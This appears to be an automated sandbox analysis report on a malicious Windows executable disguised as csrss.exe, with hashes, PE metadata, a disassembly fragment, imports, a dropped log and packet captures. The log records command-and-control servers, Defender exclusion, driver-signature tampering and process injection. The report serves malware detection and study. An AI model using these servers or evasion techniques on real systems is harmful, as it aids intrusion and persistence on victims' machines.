SHA-256:	0FA22938832AD3770336AFDB1B3FE2F848582FE3D282F08727A7174B42C8B79F
SHA-512:	B04993498103615D6163A4571437E521380DBCFEF8ED268B87EC03651EC920DCF946DFA343E512E7818400D1FE3B67F915210E1AFA8D45189521F27CE4F0D21B
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 56%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......o.V.+.8.+.8.+.8.D.....8.D...:.8.D...G.8.".....8.+.9...8.D....8.D....8.D...*.8.Rich+.8.........................PE..L...{.z_.................FC..F......P.A......`C...@...........................".....?.F.....................................$@C.<....P!..@....................!.....................................xxA.@............................................text....EC......FC................. ..`.data........`C..d...JC.............@....rsrc....@...P!..B....C.............@..@.reloc...#....!..$....C.............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\windefender.exe Download File
Process:	C:\Windows\rss\csrss.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	modified
Size (bytes):	2102272
Entropy (8bit):	7.879347868736008
Encrypted:	false
SSDEEP:	49152:1+yuly+dcYwIx9qadRmAYBfo9hazz2Du5VDyn:1Cy+qa9qWmAYBQfazzpDy
MD5:	E0A50C60A85BFBB9ECF45BFF0239AAA3
SHA1:	AE0E12BC885CB5D4D26C49F6AE20ED40313EDF99
SHA-256:	FC8D064E05EBE37D661AECCB78F91085845E9E28CCFF1F9B08FD373830E38B7F
SHA-512:	03D1440B462B872B7AE4FCCBB455FC0C3AB4E9BF13D07726CE2A9FF9CE4A0E7632A45AF4B52265973D51C8C9D6E24CE84EF81FBAD23CDDF04B64F461FA55050D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Metadefender, Detection: 29%, Browse Antivirus: ReversingLabs, Detection: 82%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.........K............... ......p-...M...-...M...@...........................M...............................................M.....................................................................................................................UPX0.....p-.............................UPX1...... ...-... .................@...UPX2..........M....... .............@...3.95.UPX!....Y.P....dM... ...K.&'....... Go build ID: "8LgdNw10OMnjnEaf..o.ouob/F_u>d7bw5LzGyMt067q/f_4E....n-IIykrT4Xu-NukD/RUnzYH.IbGfj....1LuaRla". ...d...........;a.v ....'....D$...$...`..k..&...............f.......dnl.L$h......m..g$....4..$....,.....\H......1.1.TP....~..\|.\Z.;cpu.u.d,.T.@.....iT=........H9.............Y...?.............l.....0.9....lX..?(.\|$<).......!..}...$.T..$0............Z..\*f..on....m.......;5al..p7.......M..$.........L....A....9.}..w._.9.- .9....5...p........

\Device\Null Download File
Process:	C:\Windows\rss\csrss.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1639
Entropy (8bit):	5.0058373965294845
Encrypted:	false
SSDEEP:	24:9r3YXJ/CdxjQYXbqCp7TC5DcWlSJBR1ncWlSJBeJOz9uitOMaWtHdrv+Xb3i:dQWE2qI7+5DcWC1ncWhJOz4aOQM3i
MD5:	67DE61ADDD136E01794982F9031FDEBF
SHA1:	B68095892DC8EC1B3C7EA63E878BAF6AEC77C492
SHA-256:	E7587D29E54AC67A9E43CA34D864EF3DE39929CE345E536627ABED1A9618BD5B
SHA-512:	1E57F57C184A5EB516AFD6AF6EF3F5CDE3B0EB07E8949377EFE7CC8AE6E3D33E56063A32648B1805D95F3D81F7DF6D48F443A3EA870E89522B61AC88412F3551
Malicious:	false
Reputation:	unknown
Preview:	2021/11/29 05:59:59 servers count 16.2021/11/29 05:59:59 logs endpoint https://runmodes.com/api/log.2021/11/29 05:59:59 initial server https://server1.trumops.com.2021/11/29 05:59:59 failed to extract distributor from cert: get certificate issuer postal code: get data directory entry: not signed.2021/11/29 05:59:59 first install, ignore discover on start.2021/11/29 05:59:59 default browser ChromeHTML.2021/11/29 06:00:08 before EfiGuard.2021/11/29 06:00:12 reboot in 1s.2021/11/29 06:00:13 rebooting now.2021/11/29 06:00:17 failed to hide app: unacceptable PGDSE state: 65.2021/11/29 06:00:20 couldn't exclude temp defender: couldn't create device: The system cannot find the file specified..2021/11/29 06:00:20 service is not running.2021/11/29 06:00:20 service needs an update.2021/11/29 06:00:25 injector started.2021/11/29 06:00:36 poll response body {"signature":"e74aff5a80d4b5e29ea5058dc3fc5fd759904f3453244bda8d016a9a613802f66081d46c6761623992c5d9a88d50be4a497a15b94238ab9a86c4f55fcadb4001

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.942144110228158
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	csrss.exe
File size:	4527104
MD5:	ee7331757219f7a223712025f3fc70be
SHA1:	fed5e55c386accf9a62a9a31311cce505d312099
SHA256:	0fa22938832ad3770336afdb1b3fe2f848582fe3d282f08727a7174b42c8b79f
SHA512:	b04993498103615d6163a4571437e521380dbcfef8ed268b87ec03651ec920dcf946dfa343e512e7818400d1fe3b67f915210e1afa8d45189521f27ce4f0d21b
SSDEEP:	98304:O7bSKidcNazelAVhpWi0Wyh1ME1WCiJuz3boXc67i3R:O7ObWJlAVkWyhx1WCSM3boM8
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......o.V.+.8.+.8.+.8.D.....8.D...:.8.D...G.8.".....8.+.9...8.D....8.D....8.D...*.8.Rich+.8.........................PE..L...{.z_...

File Icon


Icon Hash:	aecaae9ecea62aa2

Static PE Info

General
Entrypoint:	0x818150
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE, NX_COMPAT
Time Stamp:	0x5F7A077B [Sun Oct 4 17:33:47 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	812deb7f7900a9634d9b5efcb5c75509

Entrypoint Preview

Instruction
mov edi, edi
push ebp
mov ebp, esp
call 00007FEBD4B600ABh
call 00007FEBD4B5C4C6h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov edi, edi
push ebp
mov ebp, esp
push FFFFFFFEh
push 00833A20h
push 008195D0h
mov eax, dword ptr fs:[00000000h]
push eax
add esp, FFFFFF98h
push ebx
push esi
push edi
mov eax, dword ptr [0083643Ch]
xor dword ptr [ebp-08h], eax
xor eax, ebp
push eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
mov dword ptr [ebp-18h], esp
mov dword ptr [ebp-70h], 00000000h
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [004012E0h]
cmp dword ptr [03613B08h], 00000000h
jne 00007FEBD4B5C4C0h
push 00000000h
push 00000000h
push 00000001h
push 00000000h
call dword ptr [00401260h]
call 00007FEBD4B5C643h
mov dword ptr [ebp-6Ch], eax
call 00007FEBD4B63A2Bh
test eax, eax
jne 00007FEBD4B5C4BCh
push 0000001Ch
call 00007FEBD4B5C600h
add esp, 04h
call 00007FEBD4B63388h
test eax, eax
jne 00007FEBD4B5C4BCh
push 00000010h
call 00007FEBD4B5C5EDh
add esp, 04h
push 00000001h
call 00007FEBD4B632D3h
add esp, 04h
call 00007FEBD4B6101Bh
mov dword ptr [ebp-04h], 00000000h
call 00007FEBD4B5CD0Fh
test eax, eax

Rich Headers

Programming Language:

[LNK] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[C++] VS2010 build 30319
[RES] VS2010 build 30319
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x434024	0x3c	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3215000	0x40a0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x321a000	0x1a14	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x13d0	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x417878	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x384	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x434598	0x434600	unknown	unknown	unknown	unknown	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x436000	0x2ddeb0c	0x6400	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x3215000	0x40a0	0x4200	False	0.717625473485	data	6.28291828378	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x321a000	0x123e4	0x12400	False	0.0784193065068	data	1.00852314617	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x3215150	0x25a8	data	Spanish	Colombia
RT_ICON	0x32176f8	0x10a8	data	Spanish	Colombia
RT_STRING	0x32187c8	0x204	data	Divehi; Dhivehi; Maldivian	Maldives
RT_STRING	0x32189d0	0x6d0	data	Divehi; Dhivehi; Maldivian	Maldives
RT_GROUP_ICON	0x32187a0	0x22	data	Spanish	Colombia

Imports

DLL

Import

KERNEL32.dll

GetFullPathNameA, LocalUnlock, GetPrivateProfileSectionNamesW, EnumResourceNamesW, SetCriticalSectionSpinCount, GlobalMemoryStatus, FindResourceA, FindFirstFileW, SetThreadContext, FindFirstChangeNotificationW, EnumCalendarInfoA, WriteConsoleInputW, IsBadStringPtrW, EnumDateFormatsExW, CopyFileExW, GetStringTypeA, UnmapViewOfFile, MoveFileExA, CommConfigDialogA, GetConsoleAliasExesLengthA, BuildCommDCBAndTimeoutsA, DeleteVolumeMountPointA, SetUnhandledExceptionFilter, MoveFileExW, InterlockedDecrement, GetCurrentProcess, SetDefaultCommConfigW, SetFirmwareEnvironmentVariableA, QueryDosDeviceA, GlobalLock, GetComputerNameW, SetEvent, SetThreadExecutionState, OpenSemaphoreA, GetFileAttributesExA, FreeEnvironmentStringsA, _lclose, GetModuleHandleW, GetCommConfig, GetProcessHeap, IsBadReadPtr, GetSystemTimeAsFileTime, GetNumberFormatA, GetPrivateProfileStringW, GetConsoleTitleA, CreateRemoteThread, GetCompressedFileSizeW, ReadConsoleOutputA, WaitNamedPipeW, EnumTimeFormatsA, SetCommState, GetSystemWow64DirectoryA, WriteFileGather, TzSpecificLocalTimeToSystemTime, WaitForMultipleObjectsEx, GetProcessTimes, TlsSetValue, AllocateUserPhysicalPages, FindResourceExA, GlobalAlloc, GetPrivateProfileIntA, LoadLibraryW, GetConsoleMode, FatalAppExitW, GetThreadSelectorEntry, CopyFileW, GetPrivateProfileStructW, GetCalendarInfoW, GetCalendarInfoA, SetSystemTimeAdjustment, SetVolumeMountPointA, GetSystemWindowsDirectoryA, GetVersionExW, SetConsoleCP, LeaveCriticalSection, GetFileAttributesA, lstrcpynW, SetDllDirectoryA, SetConsoleMode, HeapValidate, GetVolumePathNamesForVolumeNameW, CreateSemaphoreA, SetConsoleCursorPosition, WritePrivateProfileSectionW, TerminateProcess, IsDBCSLeadByte, GetModuleFileNameW, CreateActCtxA, GetBinaryTypeW, GetComputerNameA, lstrlenW, WritePrivateProfileStringW, GlobalUnlock, VirtualUnlock, CreateJobObjectA, GetNamedPipeHandleStateW, EnumSystemLocalesA, GetPrivateProfileIntW, VerifyVersionInfoW, InterlockedExchange, GetStdHandle, FindFirstFileA, GetLastError, ChangeTimerQueueTimer, GetLongPathNameW, SetLastError, ReadConsoleOutputCharacterA, GetProcAddress, HeapSize, PeekConsoleInputW, BackupWrite, CreateNamedPipeA, EnumDateFormatsExA, CreateJobSet, EnterCriticalSection, VerLanguageNameW, SearchPathA, BuildCommDCBW, DefineDosDeviceA, GetNumaHighestNodeNumber, FindClose, GetPrivateProfileStringA, GetAtomNameA, LoadLibraryA, Process32FirstW, OpenMutexA, ProcessIdToSessionId, CreateHardLinkW, IsSystemResumeAutomatic, GetExitCodeThread, SetCurrentDirectoryW, SetFileApisToANSI, PostQueuedCompletionStatus, GetCurrentConsoleFont, HeapWalk, GetPrivateProfileStructA, SetNamedPipeHandleState, SetEnvironmentVariableA, GetModuleFileNameA, GetDefaultCommConfigA, WriteProfileStringA, EnumDateFormatsA, CreateIoCompletionPort, WaitCommEvent, SetConsoleTitleW, FindFirstChangeNotificationA, GetProcessShutdownParameters, QueueUserWorkItem, ContinueDebugEvent, lstrcatW, HeapSetInformation, IsDebuggerPresent, FreeEnvironmentStringsW, FindNextFileW, WriteProfileStringW, VirtualProtect, EnumDateFormatsW, CompareStringA, WriteConsoleOutputAttribute, OutputDebugStringA, DuplicateHandle, FindFirstVolumeA, TlsAlloc, TerminateJobObject, CloseHandle, GetVersion, DeleteTimerQueueTimer, GlobalAddAtomW, SetFileValidData, GetTempPathA, FindActCtxSectionStringW, ResetWriteWatch, UnregisterWaitEx, InterlockedPushEntrySList, TlsFree, CopyFileExA, DeleteFileA, lstrcpyA, lstrcmpW, ExitProcess, MoveFileA, GetCommandLineW, GetStartupInfoW, SetHandleCount, InitializeCriticalSectionAndSpinCount, GetFileType, DeleteCriticalSection, DecodePointer, UnhandledExceptionFilter, EncodePointer, QueryPerformanceCounter, GetTickCount, GetCurrentThreadId, GetCurrentProcessId, InterlockedIncrement, GetEnvironmentStringsW, TlsGetValue, HeapCreate, WriteFile, SetFilePointer, WideCharToMultiByte, GetConsoleCP, WriteConsoleW, OutputDebugStringW, RtlUnwind, MultiByteToWideChar, GetACP, GetOEMCP, GetCPInfo, IsValidCodePage, HeapAlloc, HeapReAlloc, HeapQueryInformation, HeapFree, FlushFileBuffers, SetStdHandle, IsProcessorFeaturePresent, GetStringTypeW, LCMapStringW, ReadFile, CreateFileW, RaiseException

ADVAPI32.dll

GetFileSecurityA

Possible Origin

Language of compilation system	Country where language is spoken	Map
Spanish	Colombia
Divehi; Dhivehi; Maldivian	Maldives

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 29, 2021 05:59:59.710963011 CET	49709	443	192.168.2.3	172.67.207.136
Nov 29, 2021 05:59:59.711028099 CET	443	49709	172.67.207.136	192.168.2.3
Nov 29, 2021 05:59:59.711127996 CET	49709	443	192.168.2.3	172.67.207.136
Nov 29, 2021 05:59:59.714628935 CET	49709	443	192.168.2.3	172.67.207.136
Nov 29, 2021 05:59:59.714660883 CET	443	49709	172.67.207.136	192.168.2.3
Nov 29, 2021 05:59:59.771572113 CET	443	49709	172.67.207.136	192.168.2.3
Nov 29, 2021 05:59:59.781790018 CET	49709	443	192.168.2.3	172.67.207.136
Nov 29, 2021 05:59:59.781841993 CET	443	49709	172.67.207.136	192.168.2.3
Nov 29, 2021 05:59:59.782576084 CET	49709	443	192.168.2.3	172.67.207.136
Nov 29, 2021 05:59:59.782591105 CET	443	49709	172.67.207.136	192.168.2.3
Nov 29, 2021 05:59:59.784483910 CET	443	49709	172.67.207.136	192.168.2.3
Nov 29, 2021 05:59:59.784593105 CET	49709	443	192.168.2.3	172.67.207.136
Nov 29, 2021 05:59:59.788697004 CET	49709	443	192.168.2.3	172.67.207.136
Nov 29, 2021 05:59:59.788885117 CET	443	49709	172.67.207.136	192.168.2.3
Nov 29, 2021 05:59:59.790473938 CET	49709	443	192.168.2.3	172.67.207.136
Nov 29, 2021 05:59:59.790504932 CET	443	49709	172.67.207.136	192.168.2.3
Nov 29, 2021 05:59:59.830950975 CET	49709	443	192.168.2.3	172.67.207.136
Nov 29, 2021 05:59:59.854758978 CET	443	49709	172.67.207.136	192.168.2.3
Nov 29, 2021 05:59:59.854851007 CET	443	49709	172.67.207.136	192.168.2.3
Nov 29, 2021 05:59:59.855026007 CET	49709	443	192.168.2.3	172.67.207.136
Nov 29, 2021 05:59:59.855082989 CET	443	49709	172.67.207.136	192.168.2.3
Nov 29, 2021 05:59:59.855104923 CET	49709	443	192.168.2.3	172.67.207.136
Nov 29, 2021 05:59:59.855119944 CET	443	49709	172.67.207.136	192.168.2.3
Nov 29, 2021 05:59:59.855133057 CET	49709	443	192.168.2.3	172.67.207.136
Nov 29, 2021 05:59:59.861326933 CET	49710	443	192.168.2.3	172.67.139.144
Nov 29, 2021 05:59:59.861352921 CET	443	49710	172.67.139.144	192.168.2.3
Nov 29, 2021 05:59:59.861592054 CET	49710	443	192.168.2.3	172.67.139.144
Nov 29, 2021 05:59:59.864450932 CET	49710	443	192.168.2.3	172.67.139.144
Nov 29, 2021 05:59:59.864478111 CET	443	49710	172.67.139.144	192.168.2.3
Nov 29, 2021 05:59:59.932372093 CET	443	49710	172.67.139.144	192.168.2.3
Nov 29, 2021 05:59:59.932693005 CET	49710	443	192.168.2.3	172.67.139.144
Nov 29, 2021 05:59:59.932724953 CET	443	49710	172.67.139.144	192.168.2.3
Nov 29, 2021 05:59:59.933331013 CET	49710	443	192.168.2.3	172.67.139.144
Nov 29, 2021 05:59:59.933341026 CET	443	49710	172.67.139.144	192.168.2.3
Nov 29, 2021 05:59:59.934910059 CET	443	49710	172.67.139.144	192.168.2.3
Nov 29, 2021 05:59:59.935964108 CET	49710	443	192.168.2.3	172.67.139.144
Nov 29, 2021 05:59:59.937302113 CET	49710	443	192.168.2.3	172.67.139.144
Nov 29, 2021 05:59:59.937406063 CET	49710	443	192.168.2.3	172.67.139.144
Nov 29, 2021 05:59:59.937416077 CET	443	49710	172.67.139.144	192.168.2.3
Nov 29, 2021 05:59:59.937450886 CET	443	49710	172.67.139.144	192.168.2.3
Nov 29, 2021 05:59:59.937659979 CET	49710	443	192.168.2.3	172.67.139.144
Nov 29, 2021 05:59:59.937701941 CET	443	49710	172.67.139.144	192.168.2.3
Nov 29, 2021 05:59:59.937882900 CET	49710	443	192.168.2.3	172.67.139.144
Nov 29, 2021 05:59:59.937902927 CET	443	49710	172.67.139.144	192.168.2.3
Nov 29, 2021 05:59:59.938086987 CET	49710	443	192.168.2.3	172.67.139.144
Nov 29, 2021 05:59:59.938127995 CET	443	49710	172.67.139.144	192.168.2.3
Nov 29, 2021 05:59:59.938266993 CET	49710	443	192.168.2.3	172.67.139.144
Nov 29, 2021 05:59:59.938281059 CET	443	49710	172.67.139.144	192.168.2.3
Nov 29, 2021 05:59:59.938450098 CET	49710	443	192.168.2.3	172.67.139.144
Nov 29, 2021 05:59:59.938458920 CET	443	49710	172.67.139.144	192.168.2.3
Nov 29, 2021 05:59:59.938572884 CET	49710	443	192.168.2.3	172.67.139.144
Nov 29, 2021 05:59:59.938584089 CET	443	49710	172.67.139.144	192.168.2.3
Nov 29, 2021 06:00:08.223881006 CET	49711	443	192.168.2.3	104.21.79.9
Nov 29, 2021 06:00:08.223936081 CET	443	49711	104.21.79.9	192.168.2.3
Nov 29, 2021 06:00:08.224015951 CET	49711	443	192.168.2.3	104.21.79.9
Nov 29, 2021 06:00:08.225555897 CET	49711	443	192.168.2.3	104.21.79.9
Nov 29, 2021 06:00:08.225585938 CET	443	49711	104.21.79.9	192.168.2.3
Nov 29, 2021 06:00:08.266163111 CET	443	49711	104.21.79.9	192.168.2.3
Nov 29, 2021 06:00:08.266984940 CET	49711	443	192.168.2.3	104.21.79.9
Nov 29, 2021 06:00:08.267021894 CET	443	49711	104.21.79.9	192.168.2.3
Nov 29, 2021 06:00:08.267591953 CET	49711	443	192.168.2.3	104.21.79.9
Nov 29, 2021 06:00:08.267599106 CET	443	49711	104.21.79.9	192.168.2.3
Nov 29, 2021 06:00:08.270359993 CET	443	49711	104.21.79.9	192.168.2.3
Nov 29, 2021 06:00:08.270436049 CET	49711	443	192.168.2.3	104.21.79.9
Nov 29, 2021 06:00:08.272713900 CET	49711	443	192.168.2.3	104.21.79.9
Nov 29, 2021 06:00:08.272831917 CET	443	49711	104.21.79.9	192.168.2.3
Nov 29, 2021 06:00:08.272994041 CET	49711	443	192.168.2.3	104.21.79.9
Nov 29, 2021 06:00:08.273017883 CET	443	49711	104.21.79.9	192.168.2.3
Nov 29, 2021 06:00:08.363187075 CET	49712	443	192.168.2.3	104.21.34.203
Nov 29, 2021 06:00:08.363248110 CET	443	49712	104.21.34.203	192.168.2.3
Nov 29, 2021 06:00:08.363329887 CET	49712	443	192.168.2.3	104.21.34.203
Nov 29, 2021 06:00:08.365282059 CET	49712	443	192.168.2.3	104.21.34.203
Nov 29, 2021 06:00:08.365308046 CET	443	49712	104.21.34.203	192.168.2.3
Nov 29, 2021 06:00:08.406372070 CET	443	49712	104.21.34.203	192.168.2.3
Nov 29, 2021 06:00:08.406554937 CET	49712	443	192.168.2.3	104.21.34.203
Nov 29, 2021 06:00:08.406586885 CET	443	49712	104.21.34.203	192.168.2.3
Nov 29, 2021 06:00:08.407273054 CET	49712	443	192.168.2.3	104.21.34.203
Nov 29, 2021 06:00:08.407285929 CET	443	49712	104.21.34.203	192.168.2.3
Nov 29, 2021 06:00:08.408698082 CET	443	49712	104.21.34.203	192.168.2.3
Nov 29, 2021 06:00:08.408792019 CET	49712	443	192.168.2.3	104.21.34.203
Nov 29, 2021 06:00:08.413424969 CET	49712	443	192.168.2.3	104.21.34.203
Nov 29, 2021 06:00:08.413585901 CET	443	49712	104.21.34.203	192.168.2.3
Nov 29, 2021 06:00:08.413722992 CET	49712	443	192.168.2.3	104.21.34.203
Nov 29, 2021 06:00:08.413750887 CET	443	49712	104.21.34.203	192.168.2.3
Nov 29, 2021 06:00:08.434746981 CET	49711	443	192.168.2.3	104.21.79.9
Nov 29, 2021 06:00:08.475624084 CET	443	49712	104.21.34.203	192.168.2.3
Nov 29, 2021 06:00:08.475737095 CET	49712	443	192.168.2.3	104.21.34.203
Nov 29, 2021 06:00:08.478843927 CET	49712	443	192.168.2.3	104.21.34.203
Nov 29, 2021 06:00:08.478873014 CET	443	49712	104.21.34.203	192.168.2.3
Nov 29, 2021 06:00:08.478887081 CET	49712	443	192.168.2.3	104.21.34.203
Nov 29, 2021 06:00:08.478903055 CET	443	49712	104.21.34.203	192.168.2.3
Nov 29, 2021 06:00:21.437756062 CET	49717	443	192.168.2.3	104.21.79.9
Nov 29, 2021 06:00:21.437792063 CET	443	49717	104.21.79.9	192.168.2.3
Nov 29, 2021 06:00:21.438642025 CET	49717	443	192.168.2.3	104.21.79.9
Nov 29, 2021 06:00:21.440166950 CET	49717	443	192.168.2.3	104.21.79.9
Nov 29, 2021 06:00:21.440188885 CET	443	49717	104.21.79.9	192.168.2.3
Nov 29, 2021 06:00:21.479573011 CET	443	49717	104.21.79.9	192.168.2.3
Nov 29, 2021 06:00:21.479965925 CET	49717	443	192.168.2.3	104.21.79.9
Nov 29, 2021 06:00:21.480034113 CET	443	49717	104.21.79.9	192.168.2.3
Nov 29, 2021 06:00:21.480748892 CET	49717	443	192.168.2.3	104.21.79.9
Nov 29, 2021 06:00:21.480762005 CET	443	49717	104.21.79.9	192.168.2.3
Nov 29, 2021 06:00:21.482191086 CET	443	49717	104.21.79.9	192.168.2.3
Nov 29, 2021 06:00:21.482283115 CET	49717	443	192.168.2.3	104.21.79.9
Nov 29, 2021 06:00:21.484488010 CET	49717	443	192.168.2.3	104.21.79.9
Nov 29, 2021 06:00:21.484591007 CET	49717	443	192.168.2.3	104.21.79.9
Nov 29, 2021 06:00:21.484599113 CET	443	49717	104.21.79.9	192.168.2.3
Nov 29, 2021 06:00:21.528862953 CET	443	49717	104.21.79.9	192.168.2.3
Nov 29, 2021 06:00:21.534822941 CET	49717	443	192.168.2.3	104.21.79.9
Nov 29, 2021 06:00:21.534837961 CET	443	49717	104.21.79.9	192.168.2.3
Nov 29, 2021 06:00:21.632477999 CET	49717	443	192.168.2.3	104.21.79.9
Nov 29, 2021 06:00:28.322911024 CET	443	49710	172.67.139.144	192.168.2.3
Nov 29, 2021 06:00:28.323117971 CET	443	49710	172.67.139.144	192.168.2.3
Nov 29, 2021 06:00:28.323190928 CET	49710	443	192.168.2.3	172.67.139.144
Nov 29, 2021 06:00:28.323496103 CET	49710	443	192.168.2.3	172.67.139.144
Nov 29, 2021 06:00:28.323525906 CET	443	49710	172.67.139.144	192.168.2.3
Nov 29, 2021 06:00:28.323544025 CET	49710	443	192.168.2.3	172.67.139.144
Nov 29, 2021 06:00:28.323559046 CET	443	49710	172.67.139.144	192.168.2.3
Nov 29, 2021 06:00:36.228089094 CET	443	49711	104.21.79.9	192.168.2.3
Nov 29, 2021 06:00:36.228249073 CET	443	49711	104.21.79.9	192.168.2.3
Nov 29, 2021 06:00:36.233524084 CET	49711	443	192.168.2.3	104.21.79.9
Nov 29, 2021 06:00:36.233731985 CET	49711	443	192.168.2.3	104.21.79.9
Nov 29, 2021 06:00:36.233761072 CET	443	49711	104.21.79.9	192.168.2.3
Nov 29, 2021 06:00:36.233850956 CET	49711	443	192.168.2.3	104.21.79.9
Nov 29, 2021 06:00:36.233865976 CET	443	49711	104.21.79.9	192.168.2.3
Nov 29, 2021 06:00:49.729597092 CET	443	49717	104.21.79.9	192.168.2.3
Nov 29, 2021 06:00:49.729712963 CET	443	49717	104.21.79.9	192.168.2.3
Nov 29, 2021 06:00:49.729793072 CET	49717	443	192.168.2.3	104.21.79.9
Nov 29, 2021 06:00:49.730015039 CET	49717	443	192.168.2.3	104.21.79.9
Nov 29, 2021 06:00:49.730048895 CET	443	49717	104.21.79.9	192.168.2.3
Nov 29, 2021 06:00:49.730062962 CET	49717	443	192.168.2.3	104.21.79.9
Nov 29, 2021 06:00:49.730077982 CET	443	49717	104.21.79.9	192.168.2.3
Nov 29, 2021 06:00:49.861181021 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:49.878401995 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:49.878560066 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:49.879864931 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:49.896967888 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:49.907896996 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:49.907927990 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:49.907951117 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:49.907974958 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:49.907999992 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:49.908009052 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:49.908024073 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:49.908049107 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:49.908051968 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:49.908067942 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:49.908077955 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:49.908102989 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:49.908128023 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:49.908128977 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:49.908154011 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:49.908175945 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:49.908179045 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:49.908205032 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:49.908226013 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:49.908227921 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:49.908252954 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:49.908272028 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:49.908277988 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:49.908303022 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:49.908324003 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:49.908328056 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:49.908351898 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:49.908376932 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:49.908381939 CET	49731	80	192.168.2.3	104.21.92.165
